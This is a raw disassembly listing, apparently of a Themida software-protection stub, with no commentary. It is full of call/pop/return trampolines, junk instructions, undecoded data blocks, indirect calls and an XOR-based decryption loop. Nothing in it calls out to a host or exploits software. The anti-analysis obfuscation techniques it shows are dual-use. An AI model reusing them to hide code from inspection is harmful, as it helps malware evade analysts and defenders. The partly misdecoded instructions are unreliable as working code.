sub_550C26	proc near		; CODE XREF: Themida_:00550C1Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_550C26	endp

; ---------------------------------------------------------------------------
		dw 6C97h
		dd 3CD9462Ah, 51B589BAh, 68061131h, 0BF1B227Eh,	66525050h
		dd 310FD78Bh, 585A4EB6h, 2404815Ah, 40339C76h, 2599D8Bh
		dd 0B5FF0611h, 6110ED1h, 2282C6BBh, 0A6858D31h,	8906113Ah
		dd 110BB985h, 6AD0FF06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 80C2C357h, 6A08C7h
		dd 38B0Fh, 0DA800000h, 56FF6ACEh, 0E918531h, 0FF5A0611h
		dd 0AABB66D0h, 21B5FF20h, 6A061123h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0C3B7C357h
		dd 0B0850DDEh, 13E8h, 6AB82900h, 531A2DD1h, 413C6E04h
		dd 8D0EF047h, 3DBE64E6h, 95FF5AFCh, 61132A5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 4C35545h, 0D3450185h
		dd 7699D29h
; ---------------------------------------------------------------------------
		adc	[esi], eax


loc_550D22:				; CODE XREF: Themida_:00550B59j
					; Themida_:00550B68j ...
		mov	esi, [ebp+6114DDCh]
		push	0
		push	ecx
		call	sub_550D33
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550D33	proc near		; CODE XREF: Themida_:00550D2Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_550D33	endp

; ---------------------------------------------------------------------------
		db 0F4h
; ---------------------------------------------------------------------------
		sub	bl, [esi+76641EFFh]
		sub	[ebp+6111FB5h],	edi
		retn
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+6110345h]
		add	[ebp+6111DF5h],	ecx
		mov	esi, [ebp+6113101h]
		or	esi, esi
		jz	loc_550DB6
		push	0
		push	ecx
		call	sub_550D76
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550D76	proc near		; CODE XREF: Themida_:00550D6Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_550D76	endp

; ---------------------------------------------------------------------------
		lodsd
		test	[edx-5Bh], al
		jb	loc_550D92
		mov	dh, 0C6h


loc_550D92:				; CODE XREF: Themida_:00550D8Aj
		cmc
		mov	byte ptr [esi],	0
		push	edi
		sub	[ebp+61133CDh],	ebx
		pop	ebx
		call	near ptr sub_550DAF
		push	ebx
		cmp	ebp, 0FFFFFFB5h
		push	ebx
		test	eax, 0DB5CF494h
		sub	bh, [ebx]

; =============== S U B	R O U T	I N E =======================================



sub_550DAF	proc far		; CODE XREF: Themida_:00550D9Ep

; FUNCTION CHUNK AT 00550ECC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00550EE7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00550FB1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00550FC0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00551114 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00551239 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0055127E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00551351 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00551435 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0055149F SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005514C4 SIZE 0000000F BYTES

		mov	ebx, [ebp+611036Dh]
		pop	ebx


loc_550DB6:				; CODE XREF: Themida_:00550D65j
		mov	[ebp+6114DE4h],	eax
		jmp	loc_550DD1
; ---------------------------------------------------------------------------
		test	eax, 0DB51B2CCh
		or	[esi], ecx
		les	ecx, [edx+ecx*4]
		sub	dword ptr [esi], 0F10A859Fh


loc_550DD1:				; CODE XREF: sub_550DAF+Dj
		cmp	eax, 0
		jz	loc_551114
		cld
		mov	eax, 0
		mov	edx, esi
		jmp	loc_550DF2
; ---------------------------------------------------------------------------
		db 5
		dd 1C04694Ah, 206F21A3h
		db 0D7h, 71h
; ---------------------------------------------------------------------------


loc_550DF2:				; CODE XREF: sub_550DAF+33j
		cmp	eax, 0
		jz	loc_550ECC
		push	0
		push	ecx
		call	sub_550E06
		and	[ecx-3Dh], bl
sub_550DAF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_550E06	proc near		; CODE XREF: sub_550DAF+4Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_550E06	endp

; ---------------------------------------------------------------------------
		fnstsw	word ptr [edi-0E72D691h]
		push	es
		adc	[esi], eax
		mov	ebx, [ebp+6110DD5h]
		cmp	eax, 2
		jnz	loc_550EB7
		push	0
		push	eax
		call	sub_550E39
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550E39	proc near		; CODE XREF: Themida_:00550E31p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_550E39	endp

; ---------------------------------------------------------------------------
		and	[eax+esi*2-90D3C95h], cl
		aad	0CAh
		mov	ebx, eax
		lea	eax, [ebp+611445Fh]
		push	0
		push	ecx
		call	sub_550E65
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550E65	proc near		; CODE XREF: Themida_:00550E5Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_550E65	endp

; ---------------------------------------------------------------------------
		db 0F7h, 59h, 61h
		dd 0EF74EEAEh, 2DF916AAh, 929h,	3CD9D09h, 89500611h, 0D18B2404h
		dd 51006AC3h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 7F77414Ch, 2C482E60h
		db 7Dh,	8Bh, 0D6h
; ---------------------------------------------------------------------------


loc_550EB7:				; CODE XREF: Themida_:00550E28j
		mov	eax, 0
		mov	edx, [ebp+6110699h]
		jmp	loc_551114
; ---------------------------------------------------------------------------
		push	ecx
		xor	dl, 2Ch
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_550DAF


loc_550ECC:				; CODE XREF: sub_550DAF+46j
		mov	eax, 1
		pusha
		movsx	ebx, dx
		jmp	loc_550EE7
; END OF FUNCTION CHUNK	FOR sub_550DAF
; ---------------------------------------------------------------------------
		dw 76C5h
		dd 0BBE0A30h, 0E3F14CCh
		db 0E2h, 19h, 4Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550DAF


loc_550EE7:				; CODE XREF: sub_550DAF+126j
		popa
		lea	edi, [ebp+6114464h]
		jg	$+6
		jmp	loc_550FB1
; END OF FUNCTION CHUNK	FOR sub_550DAF
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_550F04
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550F04	proc near		; CODE XREF: Themida_:00550EFCp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_550F04	endp

; ---------------------------------------------------------------------------
		dd 0BC95F33Fh, 23956881h, 278DBD89h, 0D18B0611h, 0F02F883h
		dd 4685h, 45958B00h, 8D06111Bh,	11465CBDh, 17800F06h, 0E9000000h
		dd 12h,	0D125A3C0h, 6D6E9796h, 0E65555BAh, 9C57D3FCh, 56E941F7h
		dd 0E9000000h, 13h, 9BF4917Ah, 0D1A7853Ah, 6B6D9920h, 0AE8610AEh
		dd 8338FCC5h, 850F03F8h, 19h, 0D98B6650h, 0F0BD8D5Ah, 8B061147h
		dd 23E9DFh, 66530000h, 0A125D281h, 5F8835Ah, 13850Fh, 9D030000h
		dd 6110A25h, 0A4E9h, 958B5200h,	6111CD5h
; ---------------------------------------------------------------------------
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_550DAF


loc_550FB1:				; CODE XREF: sub_550DAF+145j
		push	edi
		jmp	loc_550FC0
; END OF FUNCTION CHUNK	FOR sub_550DAF
; ---------------------------------------------------------------------------
		db 0FEh
		dd 8333C244h, 9867DE1Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550DAF


loc_550FC0:				; CODE XREF: sub_550DAF+203j
		movzx	edx, di
		mov	ecx, 7CD70D53h
		push	0
		push	edi
		call	sub_550FD3
		and	[edi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_550DAF

; =============== S U B	R O U T	I N E =======================================



sub_550FD3	proc near		; CODE XREF: sub_550DAF+21Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_550FD3	endp

; ---------------------------------------------------------------------------
		db 18h
; ---------------------------------------------------------------------------
		mov	al, 4Eh
		movsb
		and	bh, 28h
		cmp	dword ptr [edi], 0
		jz	loc_55104D
		mov	bx, 0A246h
		xor	[edi], cl
		push	0
		push	edi
		call	sub_551004
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_551004	proc near		; CODE XREF: Themida_:00550FFCp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_551004	endp

; ---------------------------------------------------------------------------
		dd 0D1EB9BB3h, 8B6660C9h, 6A4761C6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 8C35C353h
		dd 0F79E077h, 0A3E9D3BFh, 89FFFFFFh, 11234995h
; ---------------------------------------------------------------------------
		push	es


loc_55104D:				; CODE XREF: Themida_:00550885j
					; Themida_:00550FEDj
		cmp	eax, 5
		jnz	loc_551114
		mov	ebx, eax
		mov	cx, ds
		push	0
		push	edx
		call	sub_551066
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_551066	proc near		; CODE XREF: Themida_:0055105Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_551066	endp

; ---------------------------------------------------------------------------
		dw 0CEAAh
		dd 92CD73ADh, 63052975h, 0F6D18B66h, 850F04C1h,	58h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 86C35343h, 0BD898682h
		dd 6111561h, 33426EBAh,	0B807h,	0DE90000h, 19000000h, 0DEBB9C7Bh
		dd 6376F6B5h, 0A740732Ah, 43E9h, 5E800h, 430000h, 0F03496Fh
		dd 286h, 5ADF8B00h, 17DD858Bh, 95890611h, 6112249h, 6AE0FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 9D0B75C3h, 6110521h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550DAF


loc_551114:				; CODE XREF: sub_550DAF+25j
					; Themida_:00550EC2j ...
		cmp	dword ptr [ebp+61132A5h], 0
		jnz	loc_551239
		and	bx, 0B19Ah
		nop
		push	edi
		mov	bl, 77h
		pop	edx
		push	eax
		ja	loc_551139
		pusha
		mov	esi, 245B7BF2h
		popa


loc_551139:				; CODE XREF: sub_550DAF+37Dj
		nop
		pusha
		call	sub_551150
		stosb
		dec	edx
		cmp	[ebx], ah
		das
		pop	ebp
		dec	ebx
		sbb	byte ptr [ecx-7Ah], 55h
		mov	[edx], eax
		push	ecx
		retf
; END OF FUNCTION CHUNK	FOR sub_550DAF
; ---------------------------------------------------------------------------
		db 77h

; =============== S U B	R O U T	I N E =======================================



sub_551150	proc near		; CODE XREF: sub_550DAF+38Cp

arg_18		= dword	ptr  1Ch

; FUNCTION CHUNK AT 005511A0 SIZE 0000001F BYTES

		mov	[ebp+61121D9h],	esi
		pop	edx
		mov	cl, 0E6h
		popa
		mov	byte ptr [ebp+61106D1h], 45h
		mov	ebx, 80A3E5Eh
		jmp	loc_55117E
; ---------------------------------------------------------------------------
		db 1
		dd 0F45F4698h, 8446C39h, 3270DD7Bh, 0DBD3405Fh
		db 53h,	77h
; ---------------------------------------------------------------------------


loc_55117E:				; CODE XREF: sub_551150+16j
		push	0CA0305D3h
		call	sub_55119A
		psllq	mm4, qword ptr [ebp-76h]
		loopne	loc_5511A0
		sbb	edi, [edx]
		add	eax, 0AA157076h
		and	al, 0EAh
		push	esp
		add	al, 19h
sub_551150	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_55119A	proc near		; CODE XREF: sub_551150+33p
		jmp	near ptr loc_5511AA+2
sub_55119A	endp

; ---------------------------------------------------------------------------
		setalc
; START	OF FUNCTION CHUNK FOR sub_551150


loc_5511A0:				; CODE XREF: sub_551150+3Cj
		xor	[edx+3EAF7771h], ch
		xchg	ecx, [esi+eax+7Ch]


loc_5511AA:				; CODE XREF: sub_55119Aj
		xor	cl, 5Ah
		xor	[esp-1Ch+arg_18], 44716CBAh
		push	0
		push	esi
		call	sub_5511BF
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_551150

; =============== S U B	R O U T	I N E =======================================



sub_5511BF	proc near		; CODE XREF: sub_551150+67p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5511BF	endp

; ---------------------------------------------------------------------------
		db 33h
; ---------------------------------------------------------------------------
		lds	ebp, [edi-186C7BA4h]
		jbe	loc_5511E2
		push	edi
		mov	bx, 0FA7Ah
		pop	edx


loc_5511E2:				; CODE XREF: Themida_:005511D6j
		movsx	edx, ax
		push	dword ptr [ebp+6110ED1h]
		jmp	loc_5511F9
; ---------------------------------------------------------------------------
		dd 76CB6A0Ah, 0B0E9CCEEh
		db 9
; ---------------------------------------------------------------------------


loc_5511F9:				; CODE XREF: Themida_:005511EBj
		lea	eax, [ebp+6113AA6h]
		mov	ebx, [ebp+6113265h]
		call	eax
		push	esi
		xor	ebx, 50167F3Ch
		pop	ebx
		mov	[ebp+61132A5h],	eax
		mov	[ebp+6110651h],	ecx
		pop	eax
		pusha
		jmp	loc_551230
; ---------------------------------------------------------------------------
		dw 0F46Ch
		dd 6859FCF4h, 88F8769Dh, 0C01150FEh
; ---------------------------------------------------------------------------


loc_551230:				; CODE XREF: Themida_:0055121Dj
		push	eax
		or	[ebp+61132DDh],	ebx
		pop	ecx
		popa
; START	OF FUNCTION CHUNK FOR sub_550DAF


loc_551239:				; CODE XREF: sub_550DAF+36Cj
		cmp	dword ptr [ebp+6114E33h], 0
		jz	loc_55127E
		mov	edx, edi
		or	edx, 7F2678C7h
		push	dword ptr [ebp+6112321h]
		sub	dx, 259Bh
		call	dword ptr [ebp+61132A5h]
		push	0
		push	edi
		call	sub_55126A
		and	[edi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_550DAF

; =============== S U B	R O U T	I N E =======================================



sub_55126A	proc near		; CODE XREF: sub_550DAF+4B3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_55126A	endp

; ---------------------------------------------------------------------------
		dw 7FA5h
		db 4Eh,	39h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550DAF


loc_55127E:				; CODE XREF: sub_550DAF+491j
		cmp	eax, 0
		jnz	loc_551351
		push	0
		push	ebp
		call	sub_551292
		and	[ebp-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_550DAF

; =============== S U B	R O U T	I N E =======================================



sub_551292	proc near		; CODE XREF: sub_550DAF+4DBp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_551292	endp

; ---------------------------------------------------------------------------
		dw 0F980h
		dd 896BF0AAh, 110D8595h, 0F9BD8306h, 61126h, 3F840Fh, 8D290000h
		dd 6111F9Dh, 26F9B5FFh,	0F3810611h, 613EC2Fh, 1B8DA8Bh
		dd 0BA000000h, 60DB4D8Dh, 221E9h, 16870F00h, 0E9000000h
		dd 11h,	6BF2F669h, 0E3EE57C5h, 0A24A5490h, 0E3AACAD6h
		dd 21B5FF6Ch, 6A061123h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0D892C355h,	8BEE7599h
		dd 11021995h, 99B58906h, 8B061130h, 1126919Dh, 21B5FF06h
		dd 66061123h, 0B5FFDE8Bh, 61132A5h, 68F0Fh, 95290000h
		dd 611230Dh, 1ADE9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550DAF


loc_551351:				; CODE XREF: sub_550DAF+4D2j
		pop	edi
		mov	[ebp+6110B51h],	edi
		cmp	dword ptr [ebp+6110F7Dh], 0
		jnz	loc_551435
		or	[ebp+6112A4Dh],	ebx
		mov	byte ptr [ebp+61106D1h], 4Dh
		push	0
		push	eax
		call	sub_55137D
		and	[eax-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_550DAF

; =============== S U B	R O U T	I N E =======================================



sub_55137D	proc near		; CODE XREF: sub_550DAF+5C6p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_55137D	endp

; ---------------------------------------------------------------------------
		db 0C9h, 0F2h, 54h
		dd 0A53FD16Ch, 45A06867h, 0DF8BD74Fh, 8243481h,	0B737A33h
		dd 1132A99Dh, 9B5FF06h,	0E906110Bh, 9, 9030BC6Eh, 56D8895Bh
		dd 0A6858D91h, 6A06113Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 9A9CC352h, 6F280FBh
		dd 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 97F6F4C3h, 0F7D8589h, 6A0611h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0E78AC2C3h
		dd 0B24655B5h, 89E33EF3h, 110C7195h
; ---------------------------------------------------------------------------
		push	es
; START	OF FUNCTION CHUNK FOR sub_550DAF


loc_551435:				; CODE XREF: sub_550DAF+5B0j
		mov	eax, 0
		sub	ebx, [ebp+6111DE1h]
		mov	bx, si
		mov	[ebp+6114DDCh],	edi
		sbb	ebx, 723384F6h
		or	eax, eax
		jz	loc_55149F
		push	0
		push	esi
		call	sub_551462
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_550DAF

; =============== S U B	R O U T	I N E =======================================



sub_551462	proc near		; CODE XREF: sub_550DAF+6ABp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_551462	endp

; ---------------------------------------------------------------------------
		movsb
		xor	bh, 27h
		jmp	loc_5514FE
; ---------------------------------------------------------------------------
		db 60h
		dd 12BD9D23h, 11E80611h, 71000000h, 3A4FD661h, 7BF266C1h
		dd 6099FDBFh, 18E01078h, 3CF08166h
; ---------------------------------------------------------------------------
		add	ebx, [ecx+61h]
; START	OF FUNCTION CHUNK FOR sub_550DAF


loc_55149F:				; CODE XREF: sub_550DAF+6A2j
		push	dword ptr [ebp+61132A5h]
		push	esi
		mov	[ebp+6111D51h],	edx
		pop	ebx
		lea	eax, [ebp+613A44Dh]
		mov	ebx, [ebp+61121D9h]
		nop
		jmp	loc_5514C4
; END OF FUNCTION CHUNK	FOR sub_550DAF
; ---------------------------------------------------------------------------
		pusha
		leave
		lahf
		neg	byte ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_550DAF


loc_5514C4:				; CODE XREF: sub_550DAF+70Bj
		push	eax
		mov	dx, bx
		nop
		call	near ptr sub_5514DE
		mov	esi, 0CAFDF6EAh
; END OF FUNCTION CHUNK	FOR sub_550DAF
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0B43DDDD6h, 95E3C92Ch
		db 0ECh, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_5514DE	proc far		; CODE XREF: sub_550DAF+71Ap
		call	sub_5514F5
		dec	ebx
		inc	edx
		jb	short loc_5514F7
		mov	edx, 6CEDA99Ah
		cwde
		retf
sub_5514DE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0CCh
; ---------------------------------------------------------------------------
		push	esp
		xchg	eax, esi
		pushf
		add	al, 0A1h
		push	esp

; =============== S U B	R O U T	I N E =======================================



sub_5514F5	proc near		; CODE XREF: sub_5514DEp

arg_4		= dword	ptr  8

		push	eax
		pop	ebx


loc_5514F7:				; CODE XREF: sub_5514DE+7j
		pop	ebx
		pop	edx
		mov	edx, 70AF461Ch


loc_5514FE:				; CODE XREF: Themida_:00551476j
		push	eax
		push	esi
		lea	edi, [ebp+61154E6h]
		lea	ecx, [ebp+611794Dh]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_551513:				; CODE XREF: sub_5514F5+24j
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_551513
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+61126F9h], 0
		jz	short loc_55152C
		mov	ecx, [ebp+6113189h]


loc_55152C:				; CODE XREF: sub_5514F5+2Fj
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_5515E3
		cmp	dword ptr [ebp+611075Dh], 0
		jz	short loc_55154A
		call	dword ptr [ebp+61129A5h]


loc_55154A:				; CODE XREF: sub_5514F5+4Dj
		mov	eax, 0
		or	eax, eax
		jnz	short loc_55155C
		cmp	dword ptr [ebp+6114DE4h], 1
		jz	short loc_551565


loc_55155C:				; CODE XREF: sub_5514F5+5Cj
		cmp	dword ptr [ebp+6114DE4h], 2
		jnz	short loc_551573


loc_551565:				; CODE XREF: sub_5514F5+65j
		mov	esi, [ebp+6114DDCh]
		lea	eax, [ebp+613A44Dh]
		call	eax


loc_551573:				; CODE XREF: sub_5514F5+6Ej
		cmp	dword ptr [ebp+6110615h], 0
		jz	short loc_551582
		call	dword ptr [ebp+61121F5h]


loc_551582:				; CODE XREF: sub_5514F5+85j
		lea	eax, [ebp+6114242h]
		call	eax
		cmp	dword ptr [ebp+61103ADh], 2
		jnz	short loc_5515C2
		mov	esp, [ebp+611145Dh]
		mov	eax, [ebp+61126F9h]
		mov	[esp-8+arg_4], eax
		mov	dword ptr [ebp+611159Dh], 1
		mov	esi, [ebp+6114DE0h]
		mov	ebp, [ebp+61100B5h]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_5515C2:				; CODE XREF: sub_5514F5+9Cj
		mov	dword ptr [ebp+611159Dh], 1
		mov	esp, [ebp+611145Dh]
		mov	esi, [ebp+61129DDh]
		mov	ebp, [ebp+61100B5h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_5515E3:				; CODE XREF: sub_5514F5+40j
		cmp	dword ptr [ebp+6110615h], 0
		jz	short loc_5515FB
		cmp	dword ptr [ebp+61121F5h], 0
		jz	short loc_5515FB
		call	dword ptr [ebp+61121F5h]


loc_5515FB:				; CODE XREF: sub_5514F5+F5j
					; sub_5514F5+FEj
		mov	esi, [ebp+6114DDCh]
		retn
sub_5514F5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9D33h
		dd 6111BF9h, 10E8h, 97A26500h, 0E62CBBDAh, 0D23B0F65h
		dd 417A36Ah, 0D78B66B2h, 0BA5Ah, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 1299DFC3h
		dd 89690D7Ah, 112C35BDh
; ---------------------------------------------------------------------------
		push	es
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_55165D
; ---------------------------------------------------------------------------


loc_55165B:				; CODE XREF: Themida_:00551660j
		inc	eax
		inc	edi


loc_55165D:				; CODE XREF: Themida_:00551659j
		cmp	byte ptr [edi],	0
		jnz	short loc_55165B
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_55168C
; ---------------------------------------------------------------------------


loc_551669:				; CODE XREF: Themida_:0055168Ej
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_551681
; ---------------------------------------------------------------------------


loc_55167E:				; CODE XREF: Themida_:00551684j
		mul	ebx
		dec	esi


loc_551681:				; CODE XREF: Themida_:0055167Cj
		cmp	esi, 0
		ja	short loc_55167E
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_55168C:				; CODE XREF: Themida_:00551667j
		or	eax, eax
		jnz	short loc_551669
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5516A5
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5516A5	proc near		; CODE XREF: Themida_:0055169Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5516A5	endp

; ---------------------------------------------------------------------------
		push	960D29CDh
		fild	dword ptr [eax+6AFDEAh]
		push	esi
		call	sub_5516C9
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5516C9	proc near		; CODE XREF: Themida_:005516C1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5516C9	endp

; ---------------------------------------------------------------------------
		sbb	es:[ebx], al
; START	OF FUNCTION CHUNK FOR sub_54D654


loc_5516DC:				; CODE XREF: sub_54D654:loc_54E9FDj
		mov	eax, ecx
		jmp	loc_573646
; END OF FUNCTION CHUNK	FOR sub_54D654
; ---------------------------------------------------------------------------
		dd offset byte_5CA017
		db 28h
		dd 17025B00h, 5CA0h, 6C000000h,	6A0012FFh, 3F005C85h, 2025B00h
		dd 2000002h, 1000000h, 2000000h, 0C6000000h, 0FA439Bh
		dd 4 dup(0)
		dd 1F000000h, 0C600554Eh, 0C5005553h, 0C00055AFh, 3E005577h
		dd 700055A4h, 99005551h, 0E2005545h, 0A70055DFh, 0DB00556Ah
		dd 2E00558Ch, 9F0055C3h, 2000553Ch, 0EA005563h,	200055DCh
		dd 1C005570h, 390055A2h, 44005597h, 0CE005576h,	27005577h
		dd 0FB005577h, 0AF00552Ah, 9B00552Dh, 0C005556h, 72005530h
		dd 5800552Ch, 5700554Bh, 5E0055DDh, 0DF0055C9h,	0B0005531h
		dd 0E4005566h, 6600556Ah, 44005542h, 0FE0055C4h, 0A50055D3h
		dd 0BC00555Fh, 0F50055BBh, 63005522h, 0EC005552h, 0FE005589h
		dd 6E0055B4h, 4900558Fh, 2500552Ah, 6B005541h, 3200558Bh
		dd 0A200552Dh, 0BE0055BAh, 3F0055DBh, 0A30055B0h, 5B0055C0h
		dd 5100552Eh, 0BA0055DCh, 0C000559Dh, 110055A0h, 0FB005582h
		dd 8B005542h, 32005555h, 66005589h, 8B00551Dh, 120055C2h
		dd 24005597h, 4B00558Dh, 49005526h, 3F0055BAh, 2900551Dh
		dd 0E9005544h, 0B6005590h, 4A0055B4h, 0DC0055BDh, 0C000551Eh
		dd 660055ADh, 7A0055D6h, 4E005560h, 53005584h, 5800556Ch
		dd 670055B3h, 0DE0055ABh, 0C70055ACh, 4A0055D1h, 560055AEh
		dd 31005542h, 740055B3h, 8E0055DBh, 6A005538h, 0F100559Ah
		dd 559Bh, 0AD005535h, 7D005599h, 92005545h, 0AE005570h
		dd 0E30055C3h, 94005554h, 6B005590h, 0FE0055C7h, 89005583h
		dd 3C005524h, 900556Ah,	5C005577h, 38005575h, 0DE005524h
		dd 41005598h, 8A005533h, 700554Fh, 0E00558Bh, 310055B5h
		dd 70055D2h, 3C005578h,	9D00559Ch, 9F005534h, 0F60055A9h
		dd 0A0055DAh, 0B2005586h, 370055B6h, 3B00553Dh,	0A4005553h
		dd 0F005560h, 47005550h, 0F60055ABh, 99005559h,	2F00555Fh
		dd 36005554h, 730055D8h, 1B005536h, 82005537h, 5B005563h
		dd 0A5005570h, 3C005590h, 610055D0h, 0D600558Eh, 3E0055DDh
		dd 1F0055C7h, 0A100555Fh, 0C60055ACh, 2200559Ah, 0B00556Dh
		dd 0FB0055B0h, 50055D7h, 0F600554Ah, 0EA005527h, 0AC00557Dh
		dd 0ED00551Eh, 0B9005570h, 6A00551Ch, 9100558Ch, 0C60055D8h
		dd 0DD0055ACh, 0A10055CFh, 0A00559Eh, 0A00055CBh, 0D0055C1h
		dd 0C70055C2h, 0B500553Eh, 45005560h, 8800556Dh, 630055AAh
		dd 0C0005557h, 6000553Ch, 0FA0055C4h, 0D7005521h, 0E1005589h
		dd 0AD005593h, 540055BFh, 0C005584h, 0E30055C8h, 19005541h
		dd 0EA0055A3h, 4B005571h
		db 0A8h, 55h, 0
